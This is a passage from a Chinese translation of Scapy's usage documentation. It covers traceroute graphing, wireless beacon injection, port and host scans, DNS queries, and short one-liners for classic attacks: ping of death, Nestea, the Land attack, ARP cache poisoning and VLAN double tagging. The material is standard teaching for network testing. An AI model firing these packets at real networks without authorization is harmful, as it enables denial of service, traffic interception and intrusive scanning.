class="number">.37</span><span class="number">.13</span> SA <span class="number">206.24</span><span class="number">.226</span><span class="number">.100</span> <span class="number">64.125</span><span class="number">.28</span><span class="number">.209</span> <span class="number">216.115</span><span class="number">.101</span><span class="number">.46</span></span><br><span class="line"><span class="number">13</span> <span class="number">195.101</span><span class="number">.94</span><span class="number">.25</span> SA <span class="number">212.23</span><span class="number">.37</span><span class="number">.13</span> SA <span class="number">206.24</span><span class="number">.238</span><span class="number">.166</span> <span class="number">64.125</span><span class="number">.29</span><span class="number">.45</span> <span class="number">66.218</span><span class="number">.82</span><span class="number">.234</span></span><br><span class="line"><span class="number">14</span> <span class="number">195.101</span><span class="number">.94</span><span class="number">.25</span> SA <span class="number">212.23</span><span class="number">.37</span><span class="number">.13</span> SA <span class="number">216.109</span><span class="number">.74</span><span class="number">.30</span> <span class="number">64.125</span><span class="number">.31</span><span class="number">.214</span> <span class="number">66.94</span><span class="number">.229</span><span class="number">.254</span> SA</span><br><span class="line"><span class="number">15</span> <span class="number">195.101</span><span class="number">.94</span><span class="number">.25</span> SA <span class="number">212.23</span><span class="number">.37</span><span class="number">.13</span> SA <span class="number">216.109</span><span class="number">.120</span><span class="number">.151</span> <span class="number">64.124</span><span class="number">.229</span><span class="number">.109</span> <span class="number">66.94</span><span class="number">.229</span><span class="number">.254</span> SA</span><br><span class="line"><span class="number">16</span> <span class="number">195.101</span><span class="number">.94</span><span class="number">.25</span> SA <span class="number">212.23</span><span class="number">.37</span><span class="number">.13</span> SA <span class="number">216.109</span><span class="number">.118</span><span class="number">.72</span> SA <span class="number">64.241</span><span class="number">.242</span><span class="number">.243</span> SA <span class="number">66.94</span><span class="number">.229</span><span class="number">.254</span> SA</span><br><span class="line"><span class="number">17</span> <span class="number">195.101</span><span class="number">.94</span><span class="number">.25</span> SA <span class="number">212.23</span><span class="number">.37</span><span class="number">.13</span> SA <span class="number">216.109</span><span class="number">.118</span><span class="number">.72</span> SA <span class="number">64.241</span><span class="number">.242</span><span class="number">.243</span> SA <span class="number">66.94</span><span class="number">.229</span><span class="number">.254</span> SA</span><br><span class="line"><span class="number">18</span> <span class="number">195.101</span><span class="number">.94</span><span class="number">.25</span> SA <span class="number">212.23</span><span class="number">.37</span><span class="number">.13</span> SA <span class="number">216.109</span><span class="number">.118</span><span class="number">.72</span> SA <span class="number">64.241</span><span class="number">.242</span><span class="number">.243</span> SA <span class="number">66.94</span><span class="number">.229</span><span class="number">.254</span> SA</span><br><span class="line"><span class="number">19</span> <span class="number">195.101</span><span class="number">.94</span><span class="number">.25</span> SA <span class="number">212.23</span><span class="number">.37</span><span class="number">.13</span> SA <span class="number">216.109</span><span class="number">.118</span><span class="number">.72</span> SA <span class="number">64.241</span><span class="number">.242</span><span class="number">.243</span> SA <span class="number">66.94</span><span class="number">.229</span><span class="number">.254</span> SA</span><br><span class="line"><span class="number">20</span> <span class="number">195.101</span><span class="number">.94</span><span class="number">.25</span> SA <span class="number">212.23</span><span class="number">.37</span><span class="number">.13</span> SA <span class="number">216.109</span><span class="number">.118</span><span class="number">.72</span> SA <span class="number">64.241</span><span class="number">.242</span><span class="number">.243</span> SA <span class="number">66.94</span><span class="number">.229</span><span class="number">.254</span> SA</span><br></pre></td></tr></table></figure><p> Traceroute返回对象有一个非常实用的功能:他们会将得到的所有路线做成一个有向图,并用AS组织路线。你需要安装graphviz。在默认情况下会使用ImageMagick显示图形。 </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>res, unans = traceroute([<span class="string">"www.microsoft.com"</span>,<span class="string">"www.cisco.com"</span>,<span class="string">"www.yahoo.com"</span>,<span class="string">"www.wanadoo.fr"</span>,<span class="string">"www.pacsec.com"</span>],dport=[<span class="number">80</span>,<span class="number">443</span>],maxttl=<span class="number">20</span>,retry=<span class="number">-2</span>)</span><br><span class="line">Received <span class="number">190</span> packets, got <span class="number">190</span> answers, remaining <span class="number">10</span> packets</span><br><span class="line"> <span class="number">193.252</span><span class="number">.122</span><span class="number">.103</span>:<span class="number">443</span> <span class="number">193.252</span><span class="number">.122</span><span class="number">.103</span>:<span class="number">80</span> <span class="number">198.133</span><span class="number">.219</span><span class="number">.25</span>:<span class="number">443</span> <span class="number">198.133</span><span class="number">.219</span><span class="number">.25</span>:<span class="number">80</span> <span class="number">207.46</span>...</span><br><span class="line"><span class="number">1</span> <span class="number">192.168</span><span class="number">.8</span><span class="number">.1</span> <span class="number">192.168</span><span class="number">.8</span><span class="number">.1</span> <span class="number">192.168</span><span class="number">.8</span><span class="number">.1</span> <span class="number">192.168</span><span class="number">.8</span><span class="number">.1</span> <span class="number">192.16</span>...</span><br><span class="line"><span class="number">2</span> <span class="number">82.251</span><span class="number">.4</span><span class="number">.254</span> <span class="number">82.251</span><span class="number">.4</span><span class="number">.254</span> <span class="number">82.251</span><span class="number">.4</span><span class="number">.254</span> <span class="number">82.251</span><span class="number">.4</span><span class="number">.254</span> <span class="number">82.251</span>...</span><br><span class="line"><span class="number">3</span> <span class="number">213.228</span><span class="number">.4</span><span class="number">.254</span> <span class="number">213.228</span><span class="number">.4</span><span class="number">.254</span> <span class="number">213.228</span><span class="number">.4</span><span class="number">.254</span> <span class="number">213.228</span><span class="number">.4</span><span class="number">.254</span> <span class="number">213.22</span>...</span><br><span class="line">[...]</span><br><span class="line"><span class="meta">>>> </span>res.graph() <span class="comment"># piped to ImageMagick's display program. Image below.</span></span><br><span class="line"><span class="meta">>>> </span>res.graph(type=<span class="string">"ps"</span>,target=<span class="string">"| lp"</span>) <span class="comment"># piped to postscript printer</span></span><br><span class="line"><span class="meta">>>> </span>res.graph(target=<span class="string">"> /tmp/graph.svg"</span>) <span class="comment"># saved to file</span></span><br></pre></td></tr></table></figure><p><img src="graph_traceroute.png" alt="_images/graph_traceroute.png"></p><p> 如果你安装了VPython,你就可以用3D来表示traceroute。右边的按钮是旋转图案,中间的按钮是放大缩小,左边的按钮是移动图案。如果你单击一个球,它的IP地址就会出现/消失。如果你按住Ctrl单击一个球,就会扫描21,22,23,25,80和443端口,并显示结果: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>res.trace3D()</span><br></pre></td></tr></table></figure><p><img src="trace3d_1.png" alt="_images/trace3d_1.png">)<img src="trace3d_2.png" alt="_images/trace3d_2.png"></p><h3 id="Wireless-frame-injection"><a href="#Wireless-frame-injection" class="headerlink" title="Wireless frame injection"></a>Wireless frame injection</h3><p>Note</p><p>See the TroubleShooting section for more information on the usage of Monitor mode among Scapy.</p><p>Provided that your wireless card and driver are correctly configured for frame injection</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ iw dev wlan0 interface add mon0 type monitor</span><br><span class="line">$ ifconfig mon0 up</span><br></pre></td></tr></table></figure><p>On Windows, if using Npcap, the equivalent would be to call:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">>>> # Of course, conf.iface can be replaced by any interfaces accessed through IFACES</span><br><span class="line">... conf.iface.setmonitor(True)</span><br></pre></td></tr></table></figure><p>you can have a kind of FakeAP:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">>>> sendp(RadioTap()/</span><br><span class="line"> Dot11(addr1="ff:ff:ff:ff:ff:ff",</span><br><span class="line"> addr2="00:01:02:03:04:05",</span><br><span class="line"> addr3="00:01:02:03:04:05")/</span><br><span class="line"> Dot11Beacon(cap="ESS", timestamp=1)/</span><br><span class="line"> Dot11Elt(ID="SSID", info=RandString(RandNum(1,50)))/</span><br><span class="line"> Dot11EltRates(rates=[130, 132, 11, 22])/</span><br><span class="line"> Dot11Elt(ID="DSset", info="\x03")/</span><br><span class="line"> Dot11Elt(ID="TIM", info="\x00\x01\x00\x00"),</span><br><span class="line"> iface="mon0", loop=1)</span><br></pre></td></tr></table></figure><p>Depending on the driver, the commands needed to get a working frame injection interface may vary. You may also have to replace the first pseudo-layer (in the example <code>RadioTap()</code>) by <code>PrismHeader()</code>, or by a proprietary pseudo-layer, or even to remove it.</p><h2 id="Simple-one-liners"><a href="#Simple-one-liners" class="headerlink" title="Simple one-liners"></a>Simple one-liners</h2><h3 id="ACK-Scan"><a href="#ACK-Scan" class="headerlink" title="ACK Scan"></a>ACK Scan</h3><p> 使用Scapy强大的数据包功能,我们可以快速地复制经典的TCP扫描。例如,模拟ACK Scan将会发送以下字符串: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans, unans = sr(IP(dst=<span class="string">"www.slashdot.org"</span>)/TCP(dport=[<span class="number">80</span>,<span class="number">666</span>],flags=<span class="string">"A"</span>))</span><br></pre></td></tr></table></figure><p> 我们可以在有应答的数据包中发现未过滤的端口: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span><span class="keyword">for</span> s,r <span class="keyword">in</span> ans:</span><br><span class="line"><span class="meta">... </span> <span class="keyword">if</span> s[TCP].dport == r[TCP].sport:</span><br><span class="line"><span class="meta">... </span> print(<span class="string">"%d is unfiltered"</span> % s[TCP].dport)</span><br></pre></td></tr></table></figure><p> 同样的,可以在无应答的数据包中发现过滤的端口: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span><span class="keyword">for</span> s <span class="keyword">in</span> unans:</span><br><span class="line"><span class="meta">... </span> print(<span class="string">"%d is filtered"</span> % s[TCP].dport)</span><br></pre></td></tr></table></figure><h3 id="Xmas-Scan"><a href="#Xmas-Scan" class="headerlink" title="Xmas Scan"></a>Xmas Scan</h3><p> 可以使用以下的命令来启动Xmas Scan: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans, unans = sr(IP(dst=<span class="string">"192.168.1.1"</span>)/TCP(dport=<span class="number">666</span>,flags=<span class="string">"FPU"</span>) )</span><br></pre></td></tr></table></figure><p> 有RST响应则意味着目标主机的对应端口是关闭的。 </p><h3 id="IP-Scan"><a href="#IP-Scan" class="headerlink" title="IP Scan"></a>IP Scan</h3><p> 较低级的IP Scan可以用来枚举支持的协议: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans, unans = sr(IP(dst=<span class="string">"192.168.1.1"</span>,proto=(<span class="number">0</span>,<span class="number">255</span>))/<span class="string">"SCAPY"</span>,retry=<span class="number">2</span>)</span><br></pre></td></tr></table></figure><h3 id="ARP-Ping"><a href="#ARP-Ping" class="headerlink" title="ARP Ping"></a>ARP Ping</h3><p> 在本地以太网络上最快速地发现主机的方法莫过于ARP Ping了: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans, unans = srp(Ether(dst=<span class="string">"ff:ff:ff:ff:ff:ff"</span>)/ARP(pdst=<span class="string">"192.168.1.0/24"</span>),timeout=<span class="number">2</span>)</span><br></pre></td></tr></table></figure><p> 用以下命令可以来审查应答: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans.summary(<span class="keyword">lambda</span> (s,r): r.sprintf(<span class="string">"%Ether.src% %ARP.psrc%"</span>) )</span><br></pre></td></tr></table></figure><p> Scapy还包含内建函数<code>arping()</code>,该函数实现的功能和以上的两个命令类似: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>arping(<span class="string">"192.168.1.*"</span>)</span><br></pre></td></tr></table></figure><h3 id="ICMP-Ping"><a href="#ICMP-Ping" class="headerlink" title="ICMP Ping"></a>ICMP Ping</h3><p> 可以用以下的命令来模拟经典的ICMP Ping: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans, unans = sr(IP(dst=<span class="string">"192.168.1.1-254"</span>)/ICMP())</span><br></pre></td></tr></table></figure><p> 用以下的命令可以收集存活主机的信息: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans.summary(<span class="keyword">lambda</span> (s,r): r.sprintf(<span class="string">"%IP.src% is alive"</span>) )</span><br></pre></td></tr></table></figure><h3 id="TCP-Ping"><a href="#TCP-Ping" class="headerlink" title="TCP Ping"></a>TCP Ping</h3><p> 如果ICMP echo请求被禁止了,我们依旧可以用不同的TCP Pings,就像下面的TCP SYN Ping: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans, unans = sr( IP(dst=<span class="string">"192.168.1.*"</span>)/TCP(dport=<span class="number">80</span>,flags=<span class="string">"S"</span>) )</span><br></pre></td></tr></table></figure><p> 对我们的刺探有任何响应就意味着为一台存活主机,可以用以下的命令收集结果: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans.summary( <span class="keyword">lambda</span>(s,r) : r.sprintf(<span class="string">"%IP.src% is alive"</span>) )</span><br></pre></td></tr></table></figure><h3 id="UDP-Ping"><a href="#UDP-Ping" class="headerlink" title="UDP Ping"></a>UDP Ping</h3><p> 如果其他的都失败了,还可以使用UDP Ping,它可以让存活主机产生ICMP Port unreachable错误。你可以挑选任何极有可能关闭的端口,就像端口0: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans, unans = sr( IP(dst=<span class="string">"192.168.*.1-10"</span>)/UDP(dport=<span class="number">0</span>) )</span><br></pre></td></tr></table></figure><p> 同样的,使用以下命令收集结果: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans.summary( <span class="keyword">lambda</span>(s,r) : r.sprintf(<span class="string">"%IP.src% is alive"</span>) )</span><br></pre></td></tr></table></figure><h3 id="DNS-Requests"><a href="#DNS-Requests" class="headerlink" title="DNS Requests"></a>DNS Requests</h3><p><strong>IPv4 (A) request:</strong></p><p> 这将执行查找IPv4地址的DNS请求 </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans = sr1(IP(dst=<span class="string">"8.8.8.8"</span>)/UDP(sport=RandShort(), dport=<span class="number">53</span>)/DNS(rd=<span class="number">1</span>,qd=DNSQR(qname=<span class="string">"secdev.org"</span>,qtype=<span class="string">"A"</span>)))</span><br><span class="line"><span class="meta">>>> </span>ans.an.rdata</span><br><span class="line"><span class="string">'217.25.178.5'</span></span><br></pre></td></tr></table></figure><p><strong>SOA request:</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans = sr1(IP(dst=<span class="string">"8.8.8.8"</span>)/UDP(sport=RandShort(), dport=<span class="number">53</span>)/DNS(rd=<span class="number">1</span>,qd=DNSQR(qname=<span class="string">"secdev.org"</span>,qtype=<span class="string">"SOA"</span>)))</span><br><span class="line"><span class="meta">>>> </span>ans.ns.mname</span><br><span class="line"><span class="string">b'dns.ovh.net.'</span></span><br><span class="line"><span class="meta">>>> </span>ans.ns.rname</span><br><span class="line"><span class="string">b'tech.ovh.net.'</span></span><br></pre></td></tr></table></figure><p><strong>MX request:</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans = sr1(IP(dst=<span class="string">"8.8.8.8"</span>)/UDP(sport=RandShort(), dport=<span class="number">53</span>)/DNS(rd=<span class="number">1</span>,qd=DNSQR(qname=<span class="string">"google.com"</span>,qtype=<span class="string">"MX"</span>)))</span><br><span class="line"><span class="meta">>>> </span>results = [x.exchange <span class="keyword">for</span> x <span class="keyword">in</span> ans.an.iterpayloads()]</span><br><span class="line"><span class="meta">>>> </span>results</span><br><span class="line">[<span class="string">b'alt1.aspmx.l.google.com.'</span>,</span><br><span class="line"> <span class="string">b'alt4.aspmx.l.google.com.'</span>,</span><br><span class="line"> <span class="string">b'aspmx.l.google.com.'</span>,</span><br><span class="line"> <span class="string">b'alt2.aspmx.l.google.com.'</span>,</span><br><span class="line"> <span class="string">b'alt3.aspmx.l.google.com.'</span>]</span><br></pre></td></tr></table></figure><h3 id="Classical-attacks"><a href="#Classical-attacks" class="headerlink" title="Classical attacks"></a>Classical attacks</h3><p>Malformed packets:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>send(IP(dst=<span class="string">"10.1.1.5"</span>, ihl=<span class="number">2</span>, version=<span class="number">3</span>)/ICMP())</span><br></pre></td></tr></table></figure><p>Ping of death (Muuahahah):</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>send( fragment(IP(dst=<span class="string">"10.0.0.5"</span>)/ICMP()/(<span class="string">"X"</span>*<span class="number">60000</span>)) )</span><br></pre></td></tr></table></figure><p>Nestea attack:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>send(IP(dst=target, id=<span class="number">42</span>, flags=<span class="string">"MF"</span>)/UDP()/(<span class="string">"X"</span>*<span class="number">10</span>))</span><br><span class="line"><span class="meta">>>> </span>send(IP(dst=target, id=<span class="number">42</span>, frag=<span class="number">48</span>)/(<span class="string">"X"</span>*<span class="number">116</span>))</span><br><span class="line"><span class="meta">>>> </span>send(IP(dst=target, id=<span class="number">42</span>, flags=<span class="string">"MF"</span>)/UDP()/(<span class="string">"X"</span>*<span class="number">224</span>))</span><br></pre></td></tr></table></figure><p>Land attack (designed for Microsoft Windows):</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>send(IP(src=target,dst=target)/TCP(sport=<span class="number">135</span>,dport=<span class="number">135</span>))</span><br></pre></td></tr></table></figure><h3 id="ARP-cache-poisoning"><a href="#ARP-cache-poisoning" class="headerlink" title="ARP cache poisoning"></a>ARP cache poisoning</h3><p>这种攻击可以通过VLAN跳跃攻击投毒ARP缓存,使得其他客户端无法加入真正的网关地址。</p><p>经典的ARP缓存投毒:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>send( Ether(dst=clientMAC)/ARP(op=<span class="string">"who-has"</span>, psrc=gateway, pdst=client),</span><br><span class="line"> inter=RandNum(<span class="number">10</span>,<span class="number">40</span>), loop=<span class="number">1</span> )</span><br></pre></td></tr></table></figure><p> 使用double 802.1q封装进行ARP缓存投毒: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>send( Ether(dst=clientMAC)/Dot1Q(vlan=<span class="number">1</span>)/Dot1Q(vlan=<span class="number">2</span>)</span><br><span class="line"> /ARP(op=<span class="string">"who-has"</span>, psrc=gateway, pdst=client),</span><br><span class="line"> inter=RandNum(<span class="number">10</span>,<span class="number">40</span>), loop=<span class="number">1</span> )</span><br></pre></td></tr></table></figure><h3 id="TCP-Port-Scanning"><a href="#TCP-Port-Scanning" class="headerlink" title="TCP Port Scanning"></a>TCP Port Scanning</h3><p> 发送一个TCP SYN到每一个端口上。等待一个SYN-ACK或者是RST或者是一个ICMP错误: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>res, unans = sr( IP(dst=<span class="string">"target"</span>)</span><br><span class="line"> /TCP(flags=<span class="string">"S"</span>, dport=(<span class="number">1</span>,<span class="number">1024</span>)) )</span><br></pre></td></tr></table></figure><p> 将开放的端口结果可视化: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>res.nsummary( lfilter=<span class="keyword">lambda</span> (s,r): (r.haslayer(TCP) <span class="keyword">and</span> (r.getlayer(TCP).flags & <span class="number">2</span>)) )</span><br></pre></td></tr></table></figure><h3 id="IKE-Scanning"><a href="#IKE-Scanning" class="headerlink" title="IKE Scanning"></a>IKE Scanning</h3><p> 我们试图通过发送ISAKMP Security Association proposals来确定VPN集中器,并接收应答: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>res, unans = sr( IP(dst=<span class="string">"192.168.1.*"</span>)/UDP()</span><br><span class="line"> /ISAKMP(init_cookie=RandString(<span class="number">8</span>), exch_type=<span class="string">"identity prot."</span>)</span><br><span class="line"> /ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())</span><br><span class="line"> )</span><br></pre></td></tr></table></figure><p> 可视化结果列表: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>res.nsummary(prn=<span class="keyword">lambda</span> (s,r): r.src, lfilter=<span class="keyword">lambda</span> (s,r): r.haslayer(ISAKMP) )</span><br></pre></td></tr></table></figure><h3 id="Advanced-traceroute"><a href="#Advanced-traceroute" class="headerlink" title="Advanced traceroute"></a>Advanced traceroute</h3><h4 id="TCP-SYN-traceroute"><a href="#TCP-SYN-traceroute" class="headerlink" title="TCP SYN traceroute"></a>TCP SYN traceroute</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans, unans = sr(IP(dst=<span class="string">"4.2.2.1"</span>,ttl=(<span class="number">1</span>,<span class="number">10</span>))/TCP(dport=<span class="number">53</span>,flags=<span class="string">"S"</span>))</span><br></pre></td></tr></table></figure><p> 结果会是: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans.summary( <span class="keyword">lambda</span>(s,r) : r.sprintf(<span class="string">"%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}"</span>))</span><br><span class="line"><span class="number">192.168</span><span class="number">.1</span><span class="number">.1</span> time-exceeded</span><br><span class="line"><span class="number">68.86</span><span class="number">.90</span><span class="number">.162</span> time-exceeded</span><br><span class="line"><span class="number">4.79</span><span class="number">.43</span><span class="number">.134</span> time-exceeded</span><br><span class="line"><span class="number">4.79</span><span class="number">.43</span><span class="number">.133</span> time-exceeded</span><br><span class="line"><span class="number">4.68</span><span class="number">.18</span><span class="number">.126</span> time-exceeded</span><br><span class="line"><span class="number">4.68</span><span class="number">.123</span><span class="number">.38</span> time-exceeded</span><br><span class="line"><span class="number">4.2</span><span class="number">.2</span><span class="number">.1</span> SA</span><br></pre></td></tr></table></figure><h4 id="UDP-traceroute"><a href="#UDP-traceroute" class="headerlink" title="UDP traceroute"></a>UDP traceroute</h4><p> 相比较TCP来说, traceroute一个UDP应用程序是不可靠的,因为ta没有握手的过程。我们需要给一个应用性的有效载荷(DNS,ISAKMP,NTP等)来得到一个应答: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>res, unans = sr(IP(dst=<span class="string">"target"</span>, ttl=(<span class="number">1</span>,<span class="number">20</span>))</span><br><span class="line"> /UDP()/DNS(qd=DNSQR(qname=<span class="string">"test.com"</span>))</span><br></pre></td></tr></table></figure><p> 我们可以想象得到一个路由器列表的结果: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>res.make_table(<span class="keyword">lambda</span> (s,r): (s.dst, s.ttl, r.src))</span><br></pre></td></tr></table></figure><h4 id="DNS-traceroute"><a href="#DNS-traceroute" class="headerlink" title="DNS traceroute"></a>DNS traceroute</h4><p> 我们可以在<code>traceroute()</code>函数中设置<code>l4</code>参数为一个完整的数据包,来实现DNS traceroute: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans, unans = traceroute(<span class="string">"4.2.2.1"</span>,l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname=<span class="string">"thesprawl.org"</span>)))</span><br><span class="line">Begin emission:</span><br><span class="line">..*....******...******.***...****Finished to send <span class="number">30</span> packets.</span><br><span class="line">*****...***...............................</span><br><span class="line">Received <span class="number">75</span> packets, got <span class="number">28</span> answers, remaining <span class="number">2</span> packets</span><br><span class="line"> <span class="number">4.2</span><span class="number">.2</span><span class="number">.1</span>:udp53</span><br><span class="line"><span class="number">1</span> <span class="number">192.168</span><span class="number">.1</span><span class="number">.1</span> <span class="number">11</span></span><br><span class="line"><span class="number">4</span> <span class="number">68.86</span><span class="number">.90</span><span class="number">.162</span> <span class="number">11</span></span><br><span class="line"><span class="number">5</span> <span class="number">4.79</span><span class="number">.43</span><span class="number">.134</span> <span class="number">11</span></span><br><span class="line"><span class="number">6</span> <span class="number">4.79</span><span class="number">.43</span><span class="number">.133</span> <span class="number">11</span></span><br><span class="line"><span class="number">7</span> <span class="number">4.68</span><span class="number">.18</span><span class="number">.62</span> <span class="number">11</span></span><br><span class="line"><span class="number">8</span> <span class="number">4.68</span><span class="number">.123</span><span class="number">.6</span> <span class="number">11</span></span><br><span class="line"><span class="number">9</span> <span class="number">4.2</span><span class="number">.2</span><span class="number">.1</span></span><br><span class="line">...</span><br></pre></td></tr></table></figure><h3 id="Etherleaking"><a href="#Etherleaking" class="headerlink" title="Etherleaking"></a>Etherleaking</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>sr1(IP(dst=<span class="string">"172.16.1.232"</span>)/ICMP())</span><br><span class="line"><IP src=<span class="number">172.16</span><span class="number">.1</span><span class="number">.232</span> proto=<span class="number">1</span> [...] |<ICMP code=<span class="number">0</span> type=<span class="number">0</span> [...]|</span><br><span class="line"><Padding load=’<span class="number">0</span>O\x02\x01\x00\x04\x06public\xa2B\x02\x02\x1e’ |>>></span><br></pre></td></tr></table></figure><h3 id="ICMP-leaking"><a href="#ICMP-leaking" class="headerlink" title="ICMP leaking"></a>ICMP leaking</h3><p>This was a Linux 2.0 bug:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>sr1(IP(dst=<span class="string">"172.16.1.1"</span>, options=<span class="string">"\x02"</span>)/ICMP())</span><br><span class="line"><IP src=<span class="number">172.16</span><span class="number">.1</span><span class="number">.1</span> [...] |<ICMP code=<span class="number">0</span> type=<span class="number">12</span> [...] |</span><br><span class="line"><IPerror src=<span class="number">172.16</span><span class="number">.1</span><span class="number">.24</span> options=’\x02\x00\x00\x00’ [...] |</span><br><span class="line"><ICMPerror code=<span class="number">0</span> type=<span class="number">8</span> id=<span class="number">0x0</span> seq=<span class="number">0x0</span> chksum=<span class="number">0xf7ff</span> |</span><br><span class="line"><Padding load=’\x00[...]\x00\x1d.\x00V\x1f\xaf\xd9\xd4;\xca’ |>>>>></span><br></pre></td></tr></table></figure><h3 id="VLAN-hopping"><a href="#VLAN-hopping" class="headerlink" title="VLAN 